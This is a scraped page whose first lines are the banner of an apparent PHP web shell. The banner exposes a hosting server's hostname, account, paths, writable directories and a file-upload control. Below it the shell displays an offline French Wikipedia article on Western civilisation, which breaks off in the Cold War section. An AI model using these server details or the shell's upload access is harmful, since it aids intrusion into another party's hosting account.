Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/encyclo/articles/c/i/v/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/encyclo/articles//c/i/v/Civilisation_occidentale.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" lang="fr" dir="ltr">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
	<!-- headlinks removed -->
	<link rel="shortcut icon" href="../../../../misc/favicon.ico"/>
    <title>Civilisation occidentale - Wikipédia</title>
    <style type="text/css">/*<![CDATA[*/ @import "../../../../skins/offline/main.css"; /*]]>*/</style>
    <link rel="stylesheet" type="text/css" media="print" href="../../../../skins/common/commonPrint.css" />
    <!--[if lt IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE50Fixes.css";</style><![endif]-->
    <!--[if IE 5.5000]><style type="text/css">@import "../../../../skins/monobook/IE55Fixes.css";</style><![endif]-->
    <!--[if IE 6]><style type="text/css">@import "../../../../skins/monobook/IE60Fixes.css";</style><![endif]-->
    <!--[if IE]><script type="text/javascript" src="../../../../skins/common/IEFixes.js"></script>
    <meta http-equiv="imagetoolbar" content="no" /><![endif]-->
    <script type="text/javascript" src="../../../../skins/common/wikibits.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/md5.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/utf8.js"></script>
    <script type="text/javascript" src="../../../../skins/offline/lookup.js"></script>
    <script type="text/javascript" src="../../../../raw/gen.js"></script>        <style type="text/css">/*<![CDATA[*/
@import "../../../../raw/MediaWiki%7ECommon.css";
@import "../../../../raw/MediaWiki%7EMonobook.css";
@import "../../../../raw/gen.css";
/*]]>*/</style>          </head>
  <body
    class="ns-0">
    <div id="globalWrapper">
      <div id="column-content">
	<div id="content">
	  <a name="top" id="contentTop"></a>
	        <h1 class="firstHeading">Civilisation occidentale</h1>
	  <div id="bodyContent">
	    <h3 id="siteSub">Un article de Wikipédia, l'encyclopédie libre.</h3>
	    <div id="contentSub"></div>
	    	    	    <!-- start content -->
	    <div class="thumb tright">
<div class="thumbinner" style="width:402px;"><a href="../../../../articles/d/o/w/Image%7EDowntown_LA_Sunset.jpg_ea4c.html" class="image" title="Civilisation occidentale et occidentalisationLes tours du Financial District de Los Angeles symbolisent la limite à l'Ouest de l’expansion de la culture occidentale. L’Océan Pacifique est l’interface qui sépare le continent américain des diverses civilisations de l'Asie, et le volume d'échanges commerciaux qui transite par cette interface dépasse celui de l'Atlantique depuis les années soixante. Suivant cette tendance, la perception du centre de gravité de l'espace nord-américain se déplacerait de Nouvelle-Angleterre aux rivages californiens."><img alt="Civilisation occidentale et occidentalisationLes tours du Financial District de Los Angeles symbolisent la limite à l'Ouest de l’expansion de la culture occidentale. L’Océan Pacifique est l’interface qui sépare le continent américain des diverses civilisations de l'Asie, et le volume d'échanges commerciaux qui transite par cette interface dépasse celui de l'Atlantique depuis les années soixante. Suivant cette tendance, la perception du centre de gravité de l'espace nord-américain se déplacerait de Nouvelle-Angleterre aux rivages californiens." src="../../../../images/shared/thumb/6/6f/Downtown_LA_Sunset.jpg/400px-Downtown_LA_Sunset.jpg" width="400" height="267" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/d/o/w/Image%7EDowntown_LA_Sunset.jpg_ea4c.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
<center><b>Civilisation occidentale et occidentalisation</b></center>
<br />
Les tours du Financial District de <a href="../../../../articles/l/o/s/Los_Angeles_983d.html" title="Los Angeles">Los Angeles</a> symbolisent la limite à l'Ouest de l’expansion de la culture occidentale. L’<a href="../../../../articles/o/c/%C3%A9/Oc%C3%A9an_Pacifique_41d0.html" title="Océan Pacifique">Océan Pacifique</a> est l’interface qui sépare le continent américain des diverses civilisations de l'<a href="../../../../articles/a/s/i/Asie.html" title="Asie">Asie</a>, et le volume d'échanges commerciaux qui transite par cette interface dépasse celui de l'Atlantique depuis les <a href="../../../../articles/a/n/n/Ann%C3%A9es_soixante.html" class="mw-redirect" title="Années soixante">années soixante</a>.<br />
Suivant cette tendance, la perception du <a href="../../../../articles/c/e/n/Centre_de_gravit%C3%A9.html" class="mw-redirect" title="Centre de gravité">centre de gravité</a> de l'espace nord-américain se déplacerait de <a href="../../../../articles/n/o/u/Nouvelle-Angleterre_6d0e.html" title="Nouvelle-Angleterre">Nouvelle-Angleterre</a> aux rivages <a href="../../../../articles/c/a/l/Californie.html" title="Californie">californiens</a>.</div>
</div>
</div>
<div class="thumb tright">
<div class="thumbinner" style="width:402px;"><a href="../../../../articles/t/a/l/Image%7ETallinnPan.jpg_f094.html" class="image" title="Déferlement capitaliste sur l'ancien Bloc de l'Est - Tallinn (Estonie) - Gratte-ciels en construction à gauche et ville historique à droite"><img alt="Déferlement capitaliste sur l'ancien Bloc de l'Est - Tallinn (Estonie) - Gratte-ciels en construction à gauche et ville historique à droite" src="../../../../images/shared/thumb/9/9a/TallinnPan.jpg/400px-TallinnPan.jpg" width="400" height="80" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/t/a/l/Image%7ETallinnPan.jpg_f094.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Déferlement capitaliste sur l'ancien <a href="../../../../articles/b/l/o/Bloc_de_l%27Est_4a61.html" title="Bloc de l'Est">Bloc de l'Est</a> - <a href="../../../../articles/t/a/l/Tallinn.html" title="Tallinn">Tallinn</a> (<a href="../../../../articles/e/s/t/Estonie.html" title="Estonie">Estonie</a>) - <a href="../../../../articles/g/r/a/Gratte-ciel.html" title="Gratte-ciel">Gratte-ciels</a> en construction à gauche et ville historique à droite</div>
</div>
</div>
<p>La <b>civilisation occidentale</b>, ou le <b>monde occidental</b>, désigne l’aire culturelle résultant de la <a href="../../../../articles/g/r/%C3%A8/Gr%C3%A8ce_antique.html" title="Grèce antique">civilisation grecque</a> (<a href="../../../../articles/p/e/n/Pens%C3%A9e.html" title="Pensée">pensée</a>, <a href="../../../../articles/s/c/i/Science.html" title="Science">science</a>), de la <a href="../../../../articles/r/o/m/Rome_antique.html" title="Rome antique">civilisation romaine</a> (<a href="../../../../articles/d/r/o/Droit_romain.html" title="Droit romain">droit</a>) et de la culture <a href="../../../../articles/j/u/d/Jud%C3%A9o-chr%C3%A9tien.html" title="Judéo-chrétien">judéo-chrétienne</a> (<a href="../../../../articles/m/o/r/Morale.html" title="Morale">morale</a>).</p>
<div class="detail"><span><a href="../../../../articles/s/e/a/Image%7ESearchtool-80%25.png_e347.html" class="image" title="Icône de détail"><img alt="Icône de détail" src="../../../../images/shared/thumb/1/1a/Searchtool-80%.png/15px-Searchtool-80%.png" width="15" height="15" border="0" /></a> <span>Pour la vision géographique et géopolitique de l’«&#160;Occident&#160;», voir&#160;: <a href="../../../../articles/o/c/c/Occident.html" title="Occident">Occident</a>.</span></span></div>
<p>Originellement défini comme la zone culturelle de l’Europe de l'ouest, les usages contemporains du terme se réfère aujourd’hui aux sociétés de l'<a href="../../../../articles/e/u/r/Europe.html" title="Europe">Europe</a> élargie et leur descendants généalogiques, culturels, linguistiques, philosophiques qui incluent les pays dont la culture majoritaire est dérivée de la culture européenne, tels que le <a href="../../../../articles/c/a/n/Canada.html" title="Canada">Canada</a> et les <a href="../../../../articles/%C3%A9/t/a/%C3%89tats-Unis_08e2.html" title="États-Unis">États-Unis</a>, l’<a href="../../../../articles/a/u/s/Australie.html" title="Australie">Australie</a> et la <a href="../../../../articles/n/o/u/Nouvelle-Z%C3%A9lande_4a4f.html" title="Nouvelle-Zélande">Nouvelle-Zélande</a>, les pays d’<a href="../../../../articles/a/m/%C3%A9/Am%C3%A9rique_du_Sud_a432.html" title="Amérique du Sud">Amérique du Sud</a> voir parfois l’<a href="../../../../articles/a/f/r/Afrique_du_Sud_d0e6.html" title="Afrique du Sud">Afrique du Sud</a>.</p>
<p>Ces zones géographiques se recoupent avec les sphères d’expansion des religions <a href="../../../../articles/p/r/o/Protestant.html" class="mw-redirect" title="Protestant">protestante</a> et <a href="../../../../articles/c/a/t/Catholique.html" class="mw-redirect" title="Catholique">catholique</a>. La civilisation occidentale est également le berceau de la <a href="../../../../articles/l/a/%C3%AF/La%C3%AFcit%C3%A9.html" title="Laïcité">laïcité</a>. Les pays de <a href="../../../../articles/c/h/r/Christianisme_orthodoxe.html" title="Christianisme orthodoxe">religion orthodoxe</a> n'étaient à l'origine pas inclus dans cette définition, toutefois depuis la chute du communisme et du rideau de fer, la disparition de l'<a href="../../../../articles/u/r/s/URSS_c5b1.html" class="mw-redirect" title="URSS">URSS</a>, l'intégration à l'<a href="../../../../articles/o/t/a/OTAN_141e.html" class="mw-redirect" title="OTAN">OTAN</a>, l'absorption de l'ancien <a href="../../../../articles/b/l/o/Bloc_de_l%27Est_4a61.html" title="Bloc de l'Est">bloc de l'Est</a> et l'élargissement de l'<a href="../../../../articles/u/n/i/Union_europ%C3%A9enne.html" title="Union européenne">Union européenne</a>, la plupart des <a href="../../../../articles/p/e/c/PECO_2265.html" class="mw-redirect" title="PECO">PECO</a> sont considérés comme de pays occidentaux à part entière.</p>
<div class="thumb tright">
<div class="thumbinner" style="width:202px;"><a href="../../../../articles/2/0/0/Image%7E2004_02_29_Ath%C3%A8nes.JPG_aa58.html" class="image" title="Parthenon, Athènes"><img alt="Parthenon, Athènes" src="../../../../images/shared/thumb/d/dd/2004_02_29_Athènes.JPG/200px-2004_02_29_Athènes.JPG" width="200" height="150" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/2/0/0/Image%7E2004_02_29_Ath%C3%A8nes.JPG_aa58.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
<a href="../../../../articles/p/a/r/Parthenon.html" class="mw-redirect" title="Parthenon">Parthenon</a>, <a href="../../../../articles/a/t/h/Ath%C3%A8nes.html" title="Athènes">Athènes</a></div>
</div>
</div>
<div class="thumb tright">
<div class="thumbinner" style="width:202px;"><a href="../../../../articles/s/u/p/Image%7ESupreme_Court.jpg_98dc.html" class="image" title="La cour suprême, Washington DC"><img alt="La cour suprême, Washington DC" src="../../../../images/shared/thumb/9/94/Supreme_Court.jpg/200px-Supreme_Court.jpg" width="200" height="131" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/s/u/p/Image%7ESupreme_Court.jpg_98dc.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
La cour suprême, Washington DC</div>
</div>
</div>
<table id="toc" class="toc" summary="Sommaire">
<tr>
<td>
<div id="toctitle">
<h2>Sommaire</h2>
</div>
<ul>
<li class="toclevel-1"><a href="#.C3.89tymologie"><span class="tocnumber">1</span> <span class="toctext">Étymologie</span></a></li>
<li class="toclevel-1"><a href="#Espace_g.C3.A9ographique"><span class="tocnumber">2</span> <span class="toctext">Espace géographique</span></a></li>
<li class="toclevel-1"><a href="#Divisions_historiques"><span class="tocnumber">3</span> <span class="toctext">Divisions historiques</span></a>
<ul>
<li class="toclevel-2"><a href="#Hell.C3.A9nique"><span class="tocnumber">3.1</span> <span class="toctext">Hellénique</span></a></li>
<li class="toclevel-2"><a href="#Romaine"><span class="tocnumber">3.2</span> <span class="toctext">Romaine</span></a></li>
<li class="toclevel-2"><a href="#Chr.C3.A9tienne"><span class="tocnumber">3.3</span> <span class="toctext">Chrétienne</span></a></li>
<li class="toclevel-2"><a href="#L.27Ouest_colonial"><span class="tocnumber">3.4</span> <span class="toctext">L'Ouest colonial</span></a></li>
<li class="toclevel-2"><a href="#Civilisation_occidentale_pendant_la_Guerre_froide"><span class="tocnumber">3.5</span> <span class="toctext">Civilisation occidentale pendant la Guerre froide</span></a>
<ul>
<li class="toclevel-3"><a href="#Pays_concern.C3.A9s"><span class="tocnumber">3.5.1</span> <span class="toctext">Pays concernés</span></a></li>
</ul>
</li>
<li class="toclevel-2"><a href="#Aire_culturelle_de_la_civilisation_occidentale_au_d.C3.A9but_du_XXIe_si.C3.A8cle"><span class="tocnumber">3.6</span> <span class="toctext">Aire culturelle de la civilisation occidentale au début du XXIe siècle</span></a></li>
</ul>
</li>
<li class="toclevel-1"><a href="#Notes"><span class="tocnumber">4</span> <span class="toctext">Notes</span></a></li>
<li class="toclevel-1"><a href="#Voir_aussi"><span class="tocnumber">5</span> <span class="toctext">Voir aussi</span></a>
<ul>
<li class="toclevel-2"><a href="#Liens_externes"><span class="tocnumber">5.1</span> <span class="toctext">Liens externes</span></a></li>
</ul>
</li>
</ul>
</td>
</tr>
</table>
<script type="text/javascript">
//<![CDATA[
 if (window.showTocToggle) { var tocShowText = "afficher"; var tocHideText = "masquer"; showTocToggle(); } 
//]]>
</script>
<p><a name=".C3.89tymologie"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Étymologie">modifier</a>]</span> <span class="mw-headline">Étymologie</span></h2>
<ul>
<li>L'usage du terme de civilisation occidentale remonte à l’<a href="../../../../articles/e/m/p/Empire_d%27Occident_500f.html" class="mw-redirect" title="Empire d'Occident">Empire d'Occident</a> de <a href="../../../../articles/c/h/a/Charlemagne.html" title="Charlemagne">Charlemagne</a> (voir <a href="../../../../articles/o/c/c/Occident.html" title="Occident">Occident</a>).</li>
<li>Le <a href="../../../../articles/b/a/s/Bassin_m%C3%A9diterran%C3%A9en.html" title="Bassin méditerranéen">bassin méditerranéen</a> est considéré comme le berceau de cette <a href="../../../../articles/c/i/v/Civilisation.html" title="Civilisation">civilisation</a>.</li>
</ul>
<p><a name="Espace_g.C3.A9ographique" id="Espace_g.C3.A9ographique"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Espace géographique">modifier</a>]</span> <span class="mw-headline">Espace géographique</span></h2>
<p>La civilisation occidentale procède, par l'intermédiaire de son extension hors de ses frontières d'origines, de&#160;:</p>
<ul>
<li>la fondation des pays d'<a href="../../../../articles/e/u/r/Europe.html" title="Europe">Europe</a>, diffusée de par le <a href="../../../../articles/m/o/n/Monde_%28univers%29.html" title="Monde (univers)">monde</a> par la <a href="../../../../articles/c/o/l/Colonisation.html" title="Colonisation">colonisation</a>, certains accédant à la taille d'un <a href="../../../../articles/e/m/p/Empire_colonial.html" class="mw-redirect" title="Empire colonial">empire colonial</a>&#160;;</li>
<li>l'accession à l'indépendance des anciennes colonies européennes de peuplement, principalement des <a href="../../../../articles/%C3%A9/t/a/%C3%89tats-Unis_08e2.html" title="États-Unis">États-Unis</a> d’<a href="../../../../articles/a/m/%C3%A9/Am%C3%A9rique.html" title="Amérique">Amérique</a>, des pays du <a href="../../../../articles/c/%C3%B4/n/C%C3%B4ne_sud.html" class="mw-redirect" title="Cône sud">Cône sud</a>, de l'<a href="../../../../articles/a/u/s/Australie.html" title="Australie">Australie</a> et du <a href="../../../../articles/c/a/n/Canada.html" title="Canada">Canada</a>, mais plus largement de tout le continent américain, des colonies de peuplement d'Océanie voir même parfois de l'Afrique du Sud (notamment les provinces de <a href="../../../../articles/c/a/p/Cap-du-Nord_9887.html" title="Cap-du-Nord">Cap-du-Nord</a> et <a href="../../../../articles/c/a/p/Cap-Occidental_7e37.html" title="Cap-Occidental">Cap-Occidental</a>)</li>
<li>la chute de l'<a href="../../../../articles/u/r/s/URSS_c5b1.html" class="mw-redirect" title="URSS">URSS</a> et du communisme en Europe suivie par l'intégration (ou réintégration) progressive des <a href="../../../../articles/p/e/c/PECO_2265.html" class="mw-redirect" title="PECO">PECO</a> dans l'Europe élargie.</li>
</ul>
<p><a name="Divisions_historiques" id="Divisions_historiques"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Divisions historiques">modifier</a>]</span> <span class="mw-headline">Divisions historiques</span></h2>
<p>La pensée occidentale est souvent considérée pour avoir été façonnée par la culture greco-romaine et la culture judéo-chrétienne, la Renaissance, le siècle des Lumières et le colonialisme. Par conséquent le terme <i>Pensée occidentale</i> ne permet pas de définir deux courants distincts de traditions et de valeurs: d'une part, la tradition morale et les valeurs religieuses; et d'autre part, des valeurs laïque , avec souvent une tradition anti-cléricale rationaliste.</p>
<p><a name="Hell.C3.A9nique" id="Hell.C3.A9nique"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Hellénique">modifier</a>]</span> <span class="mw-headline">Hellénique</span></h3>
<div class="thumb tright">
<div class="thumbinner" style="width:252px;"><a href="../../../../articles/l/o/c/Image%7ELocation_greek_ancient.png_1e40.html" class="image" title="L'ancien monde hellénique, vers -550"><img alt="L'ancien monde hellénique, vers -550" src="../../../../images/shared/e/e6/Location_greek_ancient.png" width="250" height="115" border="0" class="thumbimage" /></a>
<div class="thumbcaption">L'ancien monde hellénique, vers <a href="../../../../articles/-/5/5/-550.html" title="-550">-550</a></div>
</div>
</div>
<p>La division hellénique entre <a href="../../../../articles/j/u/i/Juif.html" class="mw-redirect" title="Juif">juifs</a> et <a href="../../../../articles/g/r/e/Grecs.html" class="mw-redirect" title="Grecs">grecs</a> dissociait dans de nombreuses sociétés, la culture hellénophone des colonies grecques autour de la <a href="../../../../articles/m/%C3%A9/d/M%C3%A9diterran%C3%A9e.html" class="mw-redirect" title="Méditerranée">Méditerranée</a> des cultures non-grecques environnantes. <a href="../../../../articles/h/%C3%A9/r/H%C3%A9rodote.html" title="Hérodote">Hérodote</a> considérait les guerres médiques du <a href="../../../../articles/v/e/_/Ve_si%C3%A8cle_av._J.-C._30a6.html" title="Ve siècle av. J.-C."><span class="romain" title="Nombre&#160;écrit en chiffres romains">V</span><sup class="exposant">e</sup>&#160;siècle <span style="white-space:nowrap">av. J.-C.</span></a> comme un conflit entre l'<a href="../../../../articles/e/u/r/Europe.html" title="Europe">Europe</a> et l'<a href="../../../../articles/a/s/i/Asie.html" title="Asie">Asie</a>. Le terme Ouest et Est n'était pas utilisé par les auteurs grecs pour décrire ce conflit.</p>
<p><a name="Romaine" id="Romaine"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Romaine">modifier</a>]</span> <span class="mw-headline">Romaine</span></h3>
<div class="thumb tleft">
<div class="thumbinner" style="width:202px;"><a href="../../../../articles/w/e/s/Image%7EWesteastrome.png_9bd9.html" class="image" title="Parties occidentales et orientales de l'Empire Romain"><img alt="Parties occidentales et orientales de l'Empire Romain" src="../../../../images/shared/thumb/6/6b/Westeastrome.png/200px-Westeastrome.png" width="200" height="134" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/w/e/s/Image%7EWesteastrome.png_9bd9.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Parties occidentales et orientales de l'Empire Romain</div>
</div>
</div>
<p>Bien que le bassin méditerranéen ait été unifié par les Romains, il existait une distinction entre d'une part, les provinces orientales, où le grec était la <i><a href="../../../../articles/l/i/n/Lingua_franca.html" title="Lingua franca">lingua franca</a></i>, et d'autre part, les provinces occidentales, où l'on parlait généralement le latin. En <a href="../../../../articles/2/9/2/292.html" title="292">292</a>, l'empereur Dioclétien divisa l'empire en deux régions, chacune administrée par un <a href="../../../../articles/a/u/g/Auguste_%28homonymie%29.html" title="Auguste (homonymie)">Auguste</a> et un <a href="../../../../articles/c/%C3%A9/s/C%C3%A9sar_%28titre%29.html" title="César (titre)">César</a>. À partir du Ve siècle, le pouvoir romain s'éffondra dans sa moitié Ouest, mais subsista dans sa partie Est, avec une nouvelle capitale romaine inaugurée en 330 à <a href="../../../../articles/c/o/n/Constantinople.html" title="Constantinople">Constantinople</a> par l'empereur romain Constantin I et la chrétienté a été établie en tant que religion officiel de l'empire.</p>
<div style="clear:both;"></div>
<p><a name="Chr.C3.A9tienne" id="Chr.C3.A9tienne"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Chrétienne">modifier</a>]</span> <span class="mw-headline">Chrétienne</span></h3>
<div class="thumb tright">
<div class="thumbinner" style="width:202px;"><a href="../../../../articles/e/u/r/Image%7EEurope_religion_map_fr.png_9e0b.html" class="image" title="Division religieuse en Europe&#160;: Islam en vert, Catholicisme en bleu, Protestantisme en violet, Orthodoxie en rouge."><img alt="Division religieuse en Europe&#160;: Islam en vert, Catholicisme en bleu, Protestantisme en violet, Orthodoxie en rouge." src="../../../../images/shared/thumb/0/0d/Europe_religion_map_fr.png/200px-Europe_religion_map_fr.png" width="200" height="163" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/e/u/r/Image%7EEurope_religion_map_fr.png_9e0b.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Division religieuse en Europe&#160;: <a href="../../../../articles/i/s/l/Islam.html" title="Islam">Islam</a> en vert, <a href="../../../../articles/c/a/t/Catholicisme.html" title="Catholicisme">Catholicisme</a> en bleu, <a href="../../../../articles/p/r/o/Protestantisme.html" title="Protestantisme">Protestantisme</a> en violet, <a href="../../../../articles/%C3%A9/g/l/%C3%89glise_orthodoxe.html" title="Église orthodoxe">Orthodoxie</a> en rouge.</div>
</div>
</div>
<p>Sous le règne de <a href="../../../../articles/c/h/a/Charlemagne.html" title="Charlemagne">Charlemagne</a>, les <a href="../../../../articles/f/r/a/Francs.html" title="Francs">Francs</a> établirent un empire qui fut reconnu comme le <a href="../../../../articles/s/a/i/Saint-Empire_romain_d453.html" class="mw-redirect" title="Saint-Empire romain">Saint-Empire romain</a> par le patriarche de <a href="../../../../articles/r/o/m/Rome.html" title="Rome">Rome</a>, ce qui offensa l'<a href="../../../../articles/e/m/p/Empire_byzantin.html" title="Empire byzantin">Empereur Romain</a> de <a href="../../../../articles/c/o/n/Constantinople.html" title="Constantinople">Constantinople</a>. Le couronnement de l'Empereur par le <a href="../../../../articles/p/a/p/Pape.html" title="Pape">Pape</a> mena à l'hypothèse que le pouvoir le plus élevé était la hiérarchie papale, établissant, jusqu'à la <a href="../../../../articles/r/%C3%A9/f/R%C3%A9forme_protestante.html" title="Réforme protestante">Réforme</a> protestante, la civilisation de la Chrétienté occidentale. L'Église chrétienne du rite latin de l'Europe centrale et occidentale dirigée par le patriarche de Rome se dissocia du patriarcat oriental héllènophone durant le <a href="../../../../articles/g/r/a/Grand_Schisme_4614.html" title="Grand Schisme">Grand Schisme</a>. À la même époque, chacune d'elles connait une expansion, en <a href="../../../../articles/s/c/a/Scandinavie.html" title="Scandinavie">Scandinavie</a>, en <a href="../../../../articles/a/l/l/Allemagne.html" title="Allemagne">Allemagne</a>, dans les <a href="../../../../articles/%C3%AE/l/e/%C3%8Eles_Britanniques_7a70.html" title="Îles Britanniques">îles Britanniques</a>, et dans d'autres territoires non-chrétiens du nord-ouest furent convertis par l'Église d'occident, tandis que la <a href="../../../../articles/r/u/s/Russie.html" title="Russie">Russie</a> et la plupart de l'Europe orientale furent converties par l'Église orientale.</p>
<p><a name="L.27Ouest_colonial" id="L.27Ouest_colonial"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: L'Ouest colonial">modifier</a>]</span> <span class="mw-headline">L'Ouest colonial</span></h3>
<p>Le voyage d'exploration, de conquête et d'exploitation des espagnols et des portugais et l'assenssion des empires britanniques, néerlandais, et français a vu l'expansion des institutions du monde occidental autour du monde. La dissolution de la chrétienté occidentale et l'établissement légal dans la loi internationale de principe de souverainté nationale, culmina durant la révolution française avec la création de l'État nation. Couplé avec la révolution industrielle en Grande-Bretagne, ces institutions politiques et économique sont parvenu à influencer la plupart des nations du monde d'aujourd'hui.</p>
<p><a name="Civilisation_occidentale_pendant_la_Guerre_froide" id="Civilisation_occidentale_pendant_la_Guerre_froide"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Civilisation occidentale pendant la Guerre froide">modifier</a>]</span> <span class="mw-headline">Civilisation occidentale pendant la Guerre froide</span></h3>
<p><a name="Pays_concern.C3.A9s" id="Pays_concern.C3.A9s"></a></p>
<h4><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Pays concernés">modifier</a>]</span> <span class="mw-headline">Pays concernés</span></h4>
<div class="thumb tright">
<div class="thumbinner" style="width:352px;"><a href="../../../../articles/g/u/e/Image%7EGuerra_Fria_1980.svg_bbf1.html" class="image" title="L'Est et l'Ouest en 1980"><img alt="L'Est et l'Ouest en 1980" src="../../../../images/shared/thumb/0/0a/Guerra_Fria_1980.svg/350px-Guerra_Fria_1980.svg.png" width="350" height="178" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/g/u/e/Image%7EGuerra_Fria_1980.svg_bbf1.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
L'Est et l'Ouest en 1980</div>
</div>
</div>
<p>Durant la <a href="../../../../articles/g/u/e/Guerre_froide.html" title="Guerre froide">Guerre froide</a>, une nouvelle définition émmergea. La Terre fut divisé en trois «&#160;mondes&#160;». Le premier monde, le «&#160;monde libre&#160;» (selon sa propre définition), était composé des pays capitalistes, membres de l'<a href="../../../../articles/o/r/g/Organisation_du_trait%C3%A9_de_l%27Atlantique_Nord_2d50.html" title="Organisation du traité de l'Atlantique Nord">OTAN</a> et d'autre pays alignés ou neutres. Le deuxième monde était le <a href="../../../../articles/b/l/o/Bloc_de_l%27Est_4a61.html" title="Bloc de l'Est">bloc de l'Est</a> dans la sphère d'influence de l'<a href="../../../../articles/u/n/i/Union_des_r%C3%A9publiques_socialistes_sovi%C3%A9tiques.html" title="Union des républiques socialistes soviétiques">Union Soviétique</a> et les pays du <a href="../../../../articles/p/a/c/Pacte_de_Varsovie_5bae.html" title="Pacte de Varsovie">pacte de Varsovie</a>&#160;; la <a href="../../../../articles/r/%C3%A9/p/R%C3%A9publique_populaire_de_Chine_bd2d.html" title="République populaire de Chine">République populaire de Chine</a> y était généralement inclue car soumise à l’idéologie communiste, bien que ne dépendant pas directement de Moscou. Le <a href="../../../../articles/t/i/e/Tiers_monde.html" title="Tiers monde">tiers monde</a> était constitué de pays non-alignés (l'<a href="../../../../articles/i/n/d/Inde.html" title="Inde">Inde</a>, des pays africains,…).</p>
<div class="thumb tleft">
<div class="thumbinner" style="width:182px;"><a href="../../../../articles/e/u/r/Image%7EEurope_1988.png_230d.html" class="image" title="La communauté économique européenne vers la fin des années 1980. Les états membres colorés en bleu, AELE – en vert, et la Comecon – en rouge."><img alt="La communauté économique européenne vers la fin des années 1980. Les états membres colorés en bleu, AELE – en vert, et la Comecon – en rouge." src="../../../../images/shared/thumb/6/63/Europe_1988.png/180px-Europe_1988.png" width="180" height="110" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/e/u/r/Image%7EEurope_1988.png_230d.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
La <a href="../../../../articles/c/o/m/Communaut%C3%A9_%C3%A9conomique.html" title="Communauté économique">communauté économique</a> européenne vers la fin des années 1980. Les états membres colorés en bleu, <a href="../../../../articles/a/e/l/AELE_7fd4.html" class="mw-redirect" title="AELE">AELE</a> – en vert, et la <a href="../../../../articles/c/o/m/Comecon.html" class="mw-redirect" title="Comecon">Comecon</a> – en rouge.</div>
</div>
</div>
<p>Il y avait un certain nombre de pays qui ne correspondaient exactement à cette définition de cette division, tel que la Suisse, la Suède, et la république d'Irlande, qui choisirent d'être neutre. La Finlande était sous la sphère d'influence de l'Union soviétique mais restait neutre, n'était ni communiste, ni membre du pacte de Varsovie (ou <a href="../../../../articles/c/o/m/Comecon.html" class="mw-redirect" title="Comecon">Comecon</a>). En <a href="../../../../articles/1/9/5/1955.html" title="1955">1955</a>, quand l'Autriche devint à nouveau une république pleinement indépendante, elle le fit sous la condition qu'elle restait neutre, mais en tant que pays de l'Ouest du rideau de fer, elle était dans la sphère d'influence des États-Unis.</p>
<p>La Yougoslavie se considérait elle-même comme <a href="../../../../articles/m/o/u/Mouvement_des_non-align%C3%A9s.html" title="Mouvement des non-alignés">non-alignée</a>, mouvement dont <a href="../../../../articles/t/i/t/Tito.html" class="mw-redirect" title="Tito">Tito</a> était un des fondateurs, le pays était en fait un système mixte entre une économie globalement communiste fortement sous contrôle de l'état et de nombreux secteurs librement gérés par les salariés mais toutefois soumis à une imposition élevée. 70% du commerce yougoslave s'effectuait avec le bloc de l'Ouest<sup id="cite_ref-0" class="reference"><a href="#cite_note-0" title=""><span class="cite_crochet">[</span>1<span class="cite_crochet">]</span></a></sup>. Politiquement le pays était totalement indépendant à la fois des États-Unis et de l'URSS.</p>
